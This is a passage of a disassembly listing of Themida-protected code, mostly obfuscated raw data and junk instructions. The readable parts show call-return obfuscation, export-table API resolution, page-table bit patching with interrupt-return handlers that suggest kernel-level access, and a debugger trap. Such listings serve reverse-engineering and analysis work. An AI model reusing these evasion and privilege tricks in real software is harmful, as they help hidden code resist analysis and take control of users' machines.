N E ======================================= sub_5A01D3 proc near ; CODE XREF: Themida_:005A01CBp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5A01D3 endp ; --------------------------------------------------------------------------- mov cl, 0ABh sbb edi, ds:48E8C592h setalc push eax jmp loc_5A01F7 ; --------------------------------------------------------------------------- dw 31E1h ; --------------------------------------------------------------------------- adc al, 2 ; CODE XREF: Themida_:005A020Bj scasb loc_5A01F7: ; CODE XREF: Themida_:005A01EDj mov edx, edx call near ptr loc_5A020B+1 dec edi cmpsd sbb edi, [ecx-2Eh] push eax and eax, 0D6C8BFA0h shr byte ptr [eax], 1 loc_5A020B: ; CODE XREF: Themida_:005A01F9p jecxz short near ptr loc_5A01F4+1 pop es ; --------------------------------------------------------------------------- dw 0 dd 4657ED00h, 624C432Ch, 24D68166h, 0E85A5E1Ch, 7, 0A68EBD55h dd 0FCF08318h, 8C28158h, 0E8000066h, 0Fh, 98FF4887h, 7F94EAE4h dd 61AC4BA7h, 0F99964Bh, 687h, 8F0F00h, 5E000000h, 872F5BBBh dd 0E2C3811Eh, 66E178E9h, 0A8BF38Bh, 6E9h, 0FCB21900h dd 816A2CFFh, 2A51CBE9h, 10E95Ch, 0E3A60000h, 0F81CCB48h dd 707840FEh, 80FB67C7h, 0E98126C6h, 574BAB11h, 7E960h dd 35120000h, 72F01BC0h, 617FB1E6h, 8549C181h, 0E9607088h dd 0Dh, 8D5C4687h, 0A4112CDCh, 9CCBC83Ah, 61D08B2Bh, 0FB8B6651h dd 0EA83028Fh, 8830F01h, 0F000000h, 287h, 4A616000h, 8A0F4A4Ah dd 4, 5EC58A53h, 1EB81h, 850F0000h, 1Ch, 0B8E0Fh, 8B0F0000h dd 5, 38F68166h, 14E983h, 4CA80000h, 43F36D51h, 0FFFF55E9h dd 0AC3406FFh, 0B160B98h, 8D8D7FE4h, 61977E9h, 2D69958Bh dd 8D890614h, 6143229h, 0CA96ABB8h, 0DE87Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0332: ; DATA XREF: Themida_:0054BCF0o dec esi dec esp aas mov dh, 0D1h rcl dword ptr [ebx-4Bh], 0C9h sbb dh, [edi+0Eh] stosb jmp loc_5A0352 ; --------------------------------------------------------------------------- dd 14020A3Ch, 0ABE67AC5h, 99C95256h db 54h, 0CDh ; --------------------------------------------------------------------------- loc_5A0352: ; CODE XREF: Themida_:005A033Fj pop ebx mov dword ptr [ebp+614064Dh], 66F0h or [ebp+6143111h], ebx mov dword ptr [ebp+6142671h], 0 push 0 push ecx call sub_5A0378 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A0378 proc near ; CODE XREF: Themida_:005A0370p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5A0378 endp ; --------------------------------------------------------------------------- dd 85CFA91Ch, 663D95FAh, 0F88BD08Bh, 0C4DB5FFh, 10E90614h dd 94000000h, 0C67742EEh, 0EF143C73h, 60D799CAh, 0FF68F8D6h dd 14236195h, 7E906h, 763A0000h, 0E606E6FFh, 0FF006AEFh dd 14116995h, 0EBC08B06h, 25D444Ah, 5169B1DDh, 0D2AA53E0h dd 0A095BFA3h, 6E177D8Fh, 0E12E6BEDh, 0A933D047h, 17478B4h dd 2C0919A6h, 582CB54Ch, 0FBE770h, 0F87BC5F7h, 5B91AB57h dd 0FA2B5098h, 8BD495FBh, 0C2F452C3h, 67242D03h, 0B134B14Eh dd 0E97BDC22h, 34h, 663FC6A3h, 0Ch dup(0) ; --------------------------------------------------------------------------- jmp loc_5A0974 ; --------------------------------------------------------------------------- db 88h, 54h, 6Bh dd 26973C19h, 0E0DBF7D4h, 9524B18Eh, 4C716643h, 0B9F7C1FAh dd 704D9F1Eh, 29065861h, 0E1BE10AFh, 6874C6F5h, 5FF4DAE0h dd 0D08580Bh, 0F7C412A6h, 0FBE1E7AFh, 0F51F1E7h, 0E84B3137h dd 375F51F1h, 0F906709Fh, 0B08DDFDEh, 0DCE99526h, 250B11FAh dd 3951F1E8h, 0C0CD7911h, 88FEAA13h, 8CE6624h, 9DA36BB3h dd 51F1E7B7h, 0D5EAEECBh, 0A39D129h, 4BB1DFAh, 0BC03D5B2h dd 0EBCE0310h, 0A48EA3Fh, 87D9E6F2h, 0D9DF2CAAh, 51F1E7F3h dd 9B47DF07h, 0F1E87255h, 5926EE51h, 3F97437Ah, 79CBE10h dd 0FEEDF15Eh, 65A0h, 0C412B700h, 21054BF7h, 9F51F1E8h dd 0F2C70AD7h, 0BAD171C3h, 0FEEDF1ABh, 0A53h, 0E7744B00h dd 1BD008B5h, 12DAC1F0h, 4350FCC1h, 1DE52D90h, 0F1E83117h dd 558BB451h, 0EFA44F5Ch, 68D20129h, 933F7A5Bh, 0C4704D86h dd 0F09C1FB7h, 79781A7Eh, 9235FC3h, 0C4A1F3CAh, 7F57A912h dd 0EBE721B2h, 348C38D0h, 0C5121E05h, 943F4CF8h, 430AE129h dd 9328AAC7h, 4384E33Ch, 0D438AA14h, 64597EB6h, 1AA13512h dd 4A71616Eh, 7441179Eh, 58B05C5Dh, 20BBD729h, 0FEED9555h dd 86C9h, 0DEF4C100h, 774890DDh, 5D4473CBh, 4CF8C512h dd 4A216D44h, 2C3994C0h, 0DBE0F2FDh, 3555B92Fh, 93E5D8FFh dd 0F09C21B6h, 7FC7F2E3h, 0F9AD18A8h, 46939715h, 95FF2E8Bh dd 35AEEC0Eh, 0FEEDA040h, 6EDEh, 82FFD600h, 3E5263BBh dd 8930A5F2h, 4017735Ah, 0D37DE0E4h, 0B3BEED22h, 0B45CDA24h dd 715A901Dh, 326F5BBh, 6F079FC6h, 9D22B6C3h, 6E4F8855h dd 0B136AC2h, 6DDAD3h, 4074DE0Dh, 0D1063E5Ch, 12E19AECh dd 3CA83DC1h, 7D299443h, 0C54DCE25h, 1EF53DD5h, 0B54816FBh dd 74DE0DD6h, 0F2914B2Eh, 97B3C751h, 0ED4869FCh, 195FEh dd 17AC0000h, 6A4F824Fh, 0F1E7FEE4h, 0BBEA1251h, 0ED9922B0h dd 0FDBE18E5h, 28914451h, 80566190h, 51828F3Bh, 25B3C06Ch dd 0F6E1EE9Ah, 0DC31BC7h, 7308E9A9h, 3788501Dh, 0B204338Bh dd 41946190h, 943E4978h, 0B586572h, 0F149F5C8h, 0BD2B0759h dd 0ACC3C911h, 2257E502h, 173E563Bh, 983022B0h, 0C4F7DFECh dd 9629AF7Ch, 8E4592EAh, 0FC2B832Fh, 0F4C70FECh, 0A694048h dd 0BA2CE796h, 47F3C60Fh, 0E42857EFh, 58061D00h, 2DDC7E62h dd 1ADC5956h, 0D605FBE5h, 5EB00BCBh, 20B15581h, 0B7CCFADAh dd 0A23AA3FAh, 5A069EF6h, 8632894Dh, 5A92B014h, 2AF73F7Ch dd 0D2E211AEh, 0D9B4D194h, 10B2DF8h, 58250000h, 2A114079h dd 0B1F9A513h, 0E50D74ABh, 0F7DBA857h, 2A1195C4h, 0FF3F1DE2h dd 0D9F845FCh, 44DC34E0h, 7DB99098h, 82C9FCB5h, 27AFBAE9h dd 71654294h, 0BF969E4Ah, 0ABD1B330h, 0FB0635D4h, 0C234E0DBh dd 0CE083C5Eh, 701C9D38h, 0F02E8018h, 0F8D95D75h, 3489h dd 0A613A000h, 0E4AAB0F8h, 36D1F1E7h, 999F6E69h, 0D1F1E7B3h dd 0D8079FC7h, 3A802C54h, 0D1F1E854h, 5F96B4D8h, 0FE044CF2h dd 51F1E838h, 0B492E40Ch, 81h, 0F9A5130Bh, 10F0ABB1h, 4F1C57E5h dd 3F8D7587h, 80D7864h, 3D6CC470h, 0D8E591B9h, 5986FEFEh dd 59F8DB5Bh, 44926FC1h, 74622F77h, 14439B47h, 208364AAh dd 0FBDF5806h, 8A31A55Fh, 42EE5C38h, 0B7C5F4FAh, 2D95DFCh dd 0C3E21101h, 4125A086h, 17748BFEh, 1A9F327Fh, 63E7166Eh dd 252BF33Bh, 5E1F7B3Fh, 6B20BCCh, 91C0E8AEh, 0FFBC1A27h dd 3E5CFE53h, 0ADF59907h, 161278A7h, 94E60E64h, 0F9A513DBh dd 7F7CABB1h, 0EA1257E8h, 0BA01D5A2h, 1D87B60Eh, 0A3F5C610h dd 0FFAB10C6h, 0F01A66B9h, 42006437h, 0FCDA2CAAh, 23BB13BFh dd 0D9E2F4D1h, 7A58252Dh, 878D9541h, 0B8321AA1h, 0C6F58DB5h dd 579F1ABBh, 2774498Ah, 9610DB0h, 6F6370DAh, 2A7FF78Dh dd 0CC645F44h, 0F7C21320h, 3654F64Bh, 0DE7C1EB3h, 0C30BB026h dd 0F60FF5FBh, 4792B831h, 12C8A478h, 0A23512D8h, 7F176F1Bh dd 0B8BB5F28h, 2FD2F7h, 43C313F0h, 777F2B8Eh, 31F58B71h dd 0DF779FB8h, 0F5AB9197h, 97BFB831h, 164553FFh, 9C000000h dd 2F8C4A17h, 5C617683h, 69C058B0h, 0FB589679h, 134C7B51h dd 0F5CA12ACh, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 0AC6833B8h dd 8900001Dh, 81682434h, 89000023h, 89572404h, 4C781E7h dd 83000000h, 3C8704EFh, 34895C24h, 0B8505124h, 20C45BF4h dd 0D07E8C1h, 2553669Bh, 0DD8F748h, 478B72ACh, 6A048805h dd 58C18926h, 5459C889h, 8124348Bh, 4C4h, 5A505200h, 5A085689h dd 5024348Bh, 405E089h, 5000000h, 4, 5C240487h, 582434FFh dd 4C481h, 90E90000h, 1FFFFB00h, 8628DD63h ; --------------------------------------------------------------------------- loc_5A0974: ; CODE XREF: Themida_:005A0450j mov eax, 6197D17h add eax, ebp jmp eax ; --------------------------------------------------------------------------- align 2 dw 0D32Dh dd 6097AE43h, 25DC5F60h, 435AAC32h, 0B4A8157Eh, 5196CE26h dd 0D445A658h, 0B3B3D874h, 5A8C4D5Fh, 51E8E834h, 13F10066h dd 24635A12h, 0F4080F77h, 0BE8D8D5Ah, 6A06197Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8AA5C351h, 0E68166C5h, 8D8920F0h, 6143229h, 2DDBD8Bh dd 85C70614h, 614064Dh, 6AE4h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0A2C35141h, 9CC33D52h, 85C70863h dd 6142671h, 0 ; --------------------------------------------------------------------------- mov [ebp+6140D79h], esi push dword ptr [ebp+6140591h] push 0 push ebp call sub_5A0A33 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A0A33 proc near ; CODE XREF: Themida_:005A0A2Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5A0A33 endp ; --------------------------------------------------------------------------- dec edx fisttp qword ptr [ecx] enter 39F0h, 70h push ds sub [ebp+6141155h], ecx jmp loc_5A0A69 ; --------------------------------------------------------------------------- dw 1B7Bh dd 0CA63D6EDh, 0E01F3AB5h, 29921951h, 0F4D90E84h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_5A0A69: ; CODE XREF: Themida_:005A0A51j call dword ptr [ebp+6142361h] push 0 push edi call sub_5A0A7A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A0A7A proc near ; CODE XREF: Themida_:005A0A72p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5A0A7A endp ; --------------------------------------------------------------------------- push ebx sbb [edx+edi*2], edi pop ss xchg eax, ebp mov ebx, [ebp+6141925h] push 0 call dword ptr [ebp+6141169h] mov eax, eax jmp short loc_5A0B21 ; --------------------------------------------------------------------------- popa mov byte ptr ds:0FF99221Ch, 0E3h xor esi, [edx] xor [esi-0Bh], dh push es retf ; --------------------------------------------------------------------------- db 0A2h, 0CDh, 6Bh dd 0C29A6D4Eh, 159763B9h, 3F01FF07h, 7F151F15h, 4A80CF7Eh dd 0A0D95206h, 0F1D59723h, 0F34E59FAh, 4877047Ah, 0CA72ACFh dd 482A763Fh, 56E02E88h, 0F41DB1A9h, 5B7B5E67h, 99A0EF4Ah dd 5BC25CEDh, 339884D3h, 74A0B4D1h, 0A9443BC9h, 0E018BD67h dd 66A36B90h, 3F8653FCh, 0EE9E0B00h, 8A440664h, 0D017DA9h dd 153E4D7Eh, 764FC208h db 0BAh ; --------------------------------------------------------------------------- loc_5A0B21: ; CODE XREF: Themida_:005A0AA0j jmp loc_5A0D8C ; --------------------------------------------------------------------------- pusha mov cx, ds test cl, 4 jz loc_5A0B68 push 1 push dword ptr [ebp+6141145h] lea eax, [ebp+61780DBh] call eax mov [ebp+6140CBDh], eax mov edi, esi shr edi, 0Ch push 20060000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+6140CBDh] jmp loc_5A0B9A ; --------------------------------------------------------------------------- loc_5A0B68: ; CODE XREF: Themida_:005A0B2Dj mov byte ptr [ebp+6141A59h], 56h push 0A9C530DFh push dword ptr [ebp+6141AD1h] lea eax, [ebp+61780DBh] call eax mov [ebp+6142C1Dh], eax lea eax, [ebp+6140101h] push eax push 40h push 5 push esi call dword ptr [ebp+6142C1Dh] loc_5A0B9A: ; CODE XREF: Themida_:005A0B63j popa retn ; --------------------------------------------------------------------------- dd 3 dup(0) ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+6197FC5h], eax mov eax, [edx+0Ch] mov [ebp+6197FBDh], eax mov eax, [edx+10h] mov [ebp+6197FC1h], eax lea esi, [ebp+6197FFBh] lea eax, dword_5B8EA1[ebp] call eax popa pop edx retn 0Ch ; --------------------------------------------------------------------------- mov esi, [ebp+6197FC5h] mov eax, [ebp+6197FBDh] cmp dword ptr [ebp+6197FC1h], 0 jz loc_5A0BFA mov [esi], eax jmp locret_5A0BFC ; --------------------------------------------------------------------------- loc_5A0BFA: ; CODE XREF: Themida_:005A0BEDj mov [esi], al locret_5A0BFC: ; CODE XREF: Themida_:005A0BF5j iret ; --------------------------------------------------------------------------- align 10h dd 0 db 0 ; --------------------------------------------------------------------------- loc_5A0C05: ; DATA XREF: Themida_:00549654o push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+6197FC5h], eax lea esi, [ebp+619804Ch] lea eax, dword_5B8EA1[ebp] call eax popa pop edx mov eax, [ebp+6197FC5h] retn 4 ; --------------------------------------------------------------------------- db 8Bh dd 197FC585h, 89008B06h, 197FC585h, 0CF06h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5A0C3E proc near ; DATA XREF: Themida_:00549960o pusha mov [ebp+6198022h], esi mov [ebp+619801Eh], eax lea eax, [ebp+61412F5h] mov eax, [eax+44h] mov [ebp+619805Bh], eax lea esi, [ebp+6198091h] lea eax, dword_5B8EA1[ebp] call eax popa mov eax, [ebp+6198022h] retn sub_5A0C3E endp ; --------------------------------------------------------------------------- mov ebx, [ebp+619801Eh] movzx eax, word ptr [ebx+3Ch] add ebx, eax mov ebx, [ebx+78h] add ebx, [ebp+619801Eh] mov esi, [ebx+24h] add esi, [ebp+619801Eh] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [ebp+619801Eh] add esi, [ebp+619801Eh] cld or ecx, 0FFFFFFFFh loc_5A0CA5: ; CODE XREF: Themida_:005A0CC3j ; Themida_:005A0CD2j inc ecx mov ebx, [ebp+6198022h] mov edx, [edi] add edx, [ebp+619801Eh] add edi, 4 loc_5A0CB7: ; CODE XREF: Themida_:005A0CCBj mov al, [edx] test al, al jz loc_5A0CD0 cmp al, [ebx] jnz loc_5A0CA5 inc ebx inc edx jmp loc_5A0CB7 ; --------------------------------------------------------------------------- loc_5A0CD0: ; CODE XREF: Themida_:005A0CBBj cmp al, [ebx] jnz loc_5A0CA5 pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [ebp+619801Eh] mov [ebp+6198022h], eax mov esi, eax mov ecx, esi mov eax, ecx cmp dword ptr [ebp+619805Bh], 0C0300000h jnz loc_5A0D11 shr eax, 14h and eax, 0FFCh jmp loc_5A0D19 ; --------------------------------------------------------------------------- loc_5A0D11: ; CODE XREF: Themida_:005A0CFEj shr eax, 12h and eax, 3FF8h loc_5A0D19: ; CODE XREF: Themida_:005A0D0Cj mov edi, [ebp+619805Bh] or dword ptr [edi+eax], 6 mov edx, [edi+eax] mov eax, edx and al, 81h cmp al, 81h mov eax, ecx jz locret_5A0D8B cmp dword ptr [ebp+619805Bh], 0C0300000h jnz loc_5A0D51 shr eax, 0Ah and eax, 3FFFFCh jmp loc_5A0D59 ; --------------------------------------------------------------------------- loc_5A0D51: ; CODE XREF: Themida_:005A0D3Ej shr eax, 9 and eax, 7FFFF8h loc_5A0D59: ; CODE XREF: Themida_:005A0D4Cj sub eax, 40000000h or dword ptr [eax], 6 test dword ptr [eax], 80h jz locret_5A0D8B cmp dword ptr [ebp+619805Bh], 0C0300000h jz locret_5A0D8B and eax, 3FF8h mov eax, [eax-3FA00000h] or dword ptr [eax], 6 locret_5A0D8B: ; CODE XREF: Themida_:005A0D2Ej ; Themida_:005A0D67j ... iret ; --------------------------------------------------------------------------- loc_5A0D8C: ; CODE XREF: Themida_:loc_5A0B21j lea eax, [ebp+6197FC9h] mov [ebp+61431D1h], eax lea eax, [ebp+619805Fh] mov [ebp+6140D81h], eax lea eax, [ebp+6198026h] mov [ebp+6140A75h], eax insb adc ebx, [ebp+1Dh] db 36h mov edi, 63902979h cmp esi, eax xor eax, 48042F71h xor eax, 70FD7853h cmp dh, 55h test eax, ecx xor dword ptr [ecx], 0FFFFFF85h mov edi, 2FF15031h sal dword ptr [eax+621F2B05h], cl mov [edi+23h], cl in al, 33h cmp dword ptr [esi], 0FFFFFFFDh adc eax, 553C3182h in al, 8Bh ; DMA page register 74LS612: ; Channel 5 (address bits 17-23) aam 0B7h in al, 0BAh ; Interrupt Controller #2, 8259A int 3 ; Trap to Debugger push esp imul esp, edi, -7Ch xor eax, 334A3E82h xor byte ptr [ecx], 0E1h mov ah, 45h push ecx ; --------------------------------------------------------------------------- dd 66ECB1DBh, 9A478F1Eh, 3C3FB662h, 31842105h, 31B2B100h dd 0F8033587h, 733EE71Dh, 31819908h, 66825FF0h, 31823690h dd 0F2DD153Ch, 15FEBC41h, 15C6B40Bh, 31822083h, 0F2D572C3h dd 0B58D541Bh, 318235F0h, 0B40F6ECEh, 379BB4CDh, 0D9D33574h dd 3182350Ch, 68416CA7h, 35A6794Ah, 35A67160h, 318235E6h dd 0BC416439h, 0BB8DACD2h, 31823518h, 3016F48Eh, 6112401Dh dd 3182322Bh, 947D7E1h, 78718654h, 0A1D8E2F2h, 0D9D73556h dd 3182351Dh, 6C41682Fh, 35A6590Eh, 35A67142h, 318235F8h dd 0CB4160B5h, 0FA4DFA6Bh, 32063A59h, 3E82351Eh, 0B40FC7B8h dd 379BB454h, 3193B6CCh, 3D6B35E1h, 918235F0h, 1446D809h dd 4F05A550h, 0A1196B19h, 0D9D2DA85h, 3182358Fh, 8E395E8Bh dd 9A309BDCh, 3182BFFFh, 0A1DD3578h, 318232D4h, 7556E51Eh dd 68411D3Fh, 31823B6Fh, 3AC04FC3h, 0F95CF1B1h, 0CEAD207Fh dd 0D80533C1h, 31823534h, 0AEBE1907h, 0D7ADB3CCh, 0A47D6BD9h dd 37963CAEh, 0A937D45Bh, 5B42BE8Eh, 326A6278h, 1182353Ch dd 0B8DDF641h, 0B0861173h, 298611C3h, 768235C3h, 0E315F6B6h dd 0D9E4B87Eh, 3182357Eh, 608CD94Dh, 366B8401h, 2682350Fh dd 6BC9C00Ah, 0B2DD641Bh, 25B2845Ch, 38F735F6h, 2B6388FBh dd 45823328h, 0BAD16507h, 35F88DCFh, 0B40B3587h, 37962F8Ah dd 86B8A86Ch, 0E27D33E6h, 8C016D23h, 37962FDDh, 6195411Eh dd 35F88D5Ch, 0B40B3587h, 37962F8Ah, 85ABA86Ch, 0E27D33E6h dd 517A6D23h, 0EB908E5Ah, 6F93874Fh, 93F68A6Eh, 0F10940ECh dd 0D9D535A9h, 318235E2h, 6E416AD0h, 35A649F1h, 35A671BDh dd 31823506h, 27416248h, 0B662F0DDh, 0AB3B5391h, 0BC7B6F94h dd 2803EE6Dh, 3185DC7Eh, 0FA28353Ch, 0EF0EF328h, 0D007B8CFh dd 0C9842CE7h, 31E8E53Ch, 3181DDB4h, 6CA235F0h, 5D0B68BBh dd 75033118h, 3196313Ah, 64C7350Fh, 0F1897B44h, 31F9B1CCh dd 31E835E1h, 3181DDA3h, 6AA23578h, 6D0B6EFFh, 7503313Ah dd 3199312Bh, 62C13587h, 2618A500h, 0A12AB054h, 260D3A93h dd 0D8823578h, 3182352Eh, 33C7C3FCh, 0A94737BAh, 0F986900Dh dd 6DBCD726h, 0AC0F5C64h, 37967889h, 0FB68B41Eh, 31818D94h dd 2E38351Eh, 0CEE37900h, 63825F64h, 3182362Bh, 0F2D815E1h dd 15D6BCAAh, 15C6B47Ch, 31822C38h, 0F2D0771Eh, 0E3C7F3FEh dd 0BAE40C03h, 0D21FB831h, 5B842C60h, 326A67F0h, 11823578h dd 0B8D8F666h, 0B086114Ah, 2D86114Bh, 73823587h, 0D617F691h dd 0F2785627h, 0BCB2BE83h, 28E2D4FDh, 62825F3Ah, 318236F6h dd 0F2D9150Fh, 15DEBCDCh, 15C6B4C7h, 318223E5h, 0F2D176F0h dd 805251C8h, 5B52CA54h, 326A671Eh, 1182350Fh, 0B8D8F6DDh dd 0B0861197h, 2C8611A5h, 738235F0h, 39F8F62Ah, 0E0B911FDh dd 8F765BF2h, 7F74B469h, 3E423E10h, 31827147h, 0FA0953E1h dd 0AC0FE241h, 37967801h, 3181BE33h, 8E8D351Eh, 31838DF9h dd 0E6033587h, 6AB5812h, 3E6BD61Eh, 358235F0h, 7E46AA9Fh dd 1A6A5B04h, 8B026A6Ch, 0BA8D6E65h, 3182358Eh, 3181B2CCh dd 0BAE435E1h, 0D91FB809h, 0B0842CF9h, 62D334DDh, 0D007B81Eh dd 0D9842C6Fh, 3182358Bh, 0BA5EA52h, 0F5ADE188h, 76D852Fh dd 5752CA21h, 3A630A83h, 0B063ADEh, 5782350Fh, 3E92E338h dd 0AC0FC67Ch, 37967898h, 0BA75B496h, 26063A99h, 3E82353Ch dd 31822496h, 318EDC0Fh, 0EAA33587h, 0E8E31F7Ah, 0EB98AF74h dd 323A3DD0h, 0CE823578h, 0BB73BEDFh, 0F00376F6h, 1C5C15Dh dd 0B053880Ah, 0BC0F33DAh, 379BB3ECh, 7ADE4848h, 6C0706F2h dd 1A842116h, 336BF4D1h, 60D21FB8h, 0F05B842Ch, 78326A67h dd 66118235h, 4AB8D8F6h, 4BB08611h, 0F305E983h, 6AC08BA4h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 3A49C352h, 66A4CCBBh, 0B1548BBEh, 0FC38B44h dd 8166CEB7h, 8B6912E9h, 0CA8B66C0h, 83F78B66h, 1430B1BDh dd 9750006h, 1AE1BD83h, 74000614h, 8B535019h, 47AB8C0h dd 85890000h, 61430C1h, 0B7A19D8Dh, 0D3FF0616h, 0BD83585Bh dd 6141AE1h, 50177400h, 47AB853h, 85890000h, 61430C1h dd 0B4429D8Dh, 0D3FF0616h, 0B70F585Bh, 0E9C08BCFh, 7, 56453DEFh dd 0E9000000h, 537h, 68BA05D7h, 2375488Bh, 0DD2F8C46h dd 92E4D500h, 499B22B5h, 0CF08A810h, 12BF9CEEh, 607855A7h dd 0A6300D5Fh, 2FB7C315h, 0B6E4329h, 0F55C5758h, 0AFF7C412h dd 0E7FBE1E7h, 0E70F51F1h, 79464EB8h, 5AB25E5Dh, 6B7202Bh dd 0BCFFD7B4h, 0E8D30310h, 19A42F3Ch, 12DFF76Dh, 0F54DF9C6h dd 23D674C6h, 913D8256h, 0D7FF0A39h, 223BCF25h, 0CD1A168Eh dd 0C81AB209h, 421619F0h, 6B7B80D3h, 4CA4506Bh, 5E7A85B4h dd 6A370F61h, 98A5516Eh, 0BAE9813Ah, 0F2E129AFh, 0BF121FCBh dd 5EF64EFAh, 21B17EC6h, 31C9F0E5h, 21CDEEE4h, 23309AC9h dd 407D56AEh, 929860A8h, 51F27EACh, 0FF6998C0h, 2EDADFF2h dd 5E0AB121h, 0E7CA88ECh, 0A62FFC52h, 0F092E413h, 686E9C3Ch dd 0EACF0653h, 64EE63Eh, 7F52383Eh, 3E6651F2h, 0B422FF0Fh dd 8C388552h, 0AAF09C34h, 51F27EC7h, 28AE7B43h, 70126493h dd 0ED5B0A5Bh, 518754FEh, 77D93F6Eh, 0F0000000h, 8F42C412h dd 8E267E2Ah, 0E7B89CE2h, 223651F1h, 0F1FA6B60h, 9C64FEEDh dd 0F1F3B096h, 563C4251h, 6A51F1F4h, 399F7C42h, 59BFEE86h dd 6, 6D4E8451h, 0C112573Eh, 904350FCh, 6174812Dh, 512D9099h dd 8B23DE85h, 7A5169DFh, 0E34CC6AFh, 0C2144343h, 0A3A97180h dd 51F287BDh, 6F7AA9D1h, 44115964h, 72846E8Eh, 0F5646B5Dh dd 2A59B15Dh, 22993D1Ah, 0C51217D0h, 943F4CF8h, 0A70B7D29h dd 378651EBh, 0EDCE08E5h, 1D9E3441h, 8AC8EA71h, 0EDEF6411h dd 0ACBAFEh, 12D10000h, 0E3B0F8C5h, 2E98C7F2h, 354BB121h dd 3DFD46Ch, 0A76FB74Fh, 0F2CABBA1h, 78A7CF51h, 0E8D7010Eh dd 13A62F3Ch, 0CD8DF167h, 0B0D236ECh, 10625B7Ch, 846A7038h dd 751F2CBh, 1D6C2F95h, 0CFF7BD59h, 0C64295A0h, 0E1DAF812h dd 0F805B149h, 0A930DCDDh, 0A5D0CB87h, 79FEEDC9h, 6Dh dd 48C51290h, 0F1E85C42h, 0B0487051h, 1FE1F704h, 0E391E7B0h dd 1D65FD70h, 0AB5CD646h, 653150D0h, 0ED8704B2h, 0F6608F27h dd 23CFEEE9h, 52FEBB16h, 53F5BFDh, 0E840ECD3h, 5AF8DC50h dd 368835A2h, 7544915Eh, 7441272Dh, 2D5551F2h, 0C11217FEh dd 270A50FCh, 0A351F1E8h, 8DD8F38Fh, 0D1FEEDF1h, 0A0EDCE04h dd 0F55B8A33h, 1, 0FBC0120Ch, 797F474Fh, 51F1E793h, 45507FA7h dd 297E2A91h, 0EFCC06D3h, 182C6EC0h, 0D3AF01BAh, 6B71B965h dd 57E50354h, 0EEF6A2CAh, 43A2026h, 264E5806h, 0D1EAECF7h dd 47D3B289h, 0CE1AD690h, 24B28F9Fh, 0C1A5EB97h, 235806ADh dd 0EDE9033Fh, 95AF86CEh, 885A4C1Eh, 8D6A2F3Bh, 18F19836h dd 0DAFCD9E9h, 0AE2835E1h, 8BEF610Dh, 5BA135CFh, 7927DD46h dd 0ADFF9732h, 0D900F66Fh, 10F08F8h, 171F0000h, 0FF2E8B4Ah dd 8FD787F5h, 13F9FFC7h, 2751F1E8h, 558CD0FFh, 0B57E50Dh dd 0AC2A37E3h, 18E5BD0Fh, 0F850FCBDh, 0EE18BEC9h, 0D028D4E9h dd 0B7848C38h, 854E9B1Eh, 5348C38h, 33DFDCFAh, 600CB126h dd 0EA378253h, 8FBA13E7h, 0CD882F6Bh, 0B3178935h, 0FC601297h dd 8B30A65Eh, 896AFB39h, 3B94F8D9h, 0AB000000h dd 0B0F8A613h, 0F1E7E4AAh, 0E490B8D1h, 0F1E7B89Eh, 7D8C45D1h dd 0F1E79177h, 0E57DA5D1h, 12AB2C39h, 0F290F466h, 0D57599EFh dd 0C30BB320h, 0F1E7F7BDh, 51A3CB51h, 7073h, 0A513CA00h dd 0F0ABB1F9h, 9E57E510h, 0F5C2CA76h, 0A5B0DFDEh, 5B388A31h dd 4E94407Bh, 5805F26Dh, 6E6431C9h, 1A49A14Dh, 64728AC8h dd 0BB290557h, 1AC5CB13h, 0A85DFC79h, 1DB508CBh, 644DFED5h dd 2E8536A0h, 4B7A8B26h, 0B902D4E1h, 7416B80Dh, 0E2F653C1h dd 41D931DDh, 13AC2CF9h, 2DD8DEE4h, 0BB6415D9h, 597E4B93h dd 2BABB864h, 0B9C9F890h, 0F9A51300h, 6F00ABB1h, 3F0C57E8h dd 237B2792h, 9C4870F4h, 2274478Fh, 0E22A9145h, 6E2E141Ah dd 1A42580Bh, 0B17981EBh, 0B6DC5ABh, 82B1D958h, 4640563Eh dd 480A6E06h, 5EBF1B9h, 19A86820h, 1FB7C2F1h, 9B724A9Ch dd 96F90738h, 0D8E31200h, 411BDFEh, 6B6B38D1h, 0C64CA450h dd 0A868C6E0h, 8834CCF4h, 3BF19133h, 1D8209Bh, 413E93A3h dd 0A2B2E14Fh, 62AA11C5h, 7B82908Bh, 37085F5Ah, 0F6608FEEh dd 3A2026EEh, 4EA86875h, 0FEBF726h, 23000000h, 0F3E7B56h dd 894A1728h, 1308834h, 0CA1261C8h, 9A3C49F5h, 70687521h dd 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h, 884A5703h dd 597A8733h, 5333B864h, 0C3815B54h, 4, 8704EB83h, 575C241Ch dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0EC83240Ch, 242C8904h dd 1986C568h, 240C8B06h, 5404C483h, 81242C8Bh, 4C4h, 8B85000h dd 2D000000h, 2A4F02E0h, 0E005E801h, 892A4F02h, 34FF5808h dd 0C4815D24h, 4, 592434FFh, 0E904C483h, 0FFFAF22Bh, 0B98F1C90h dd 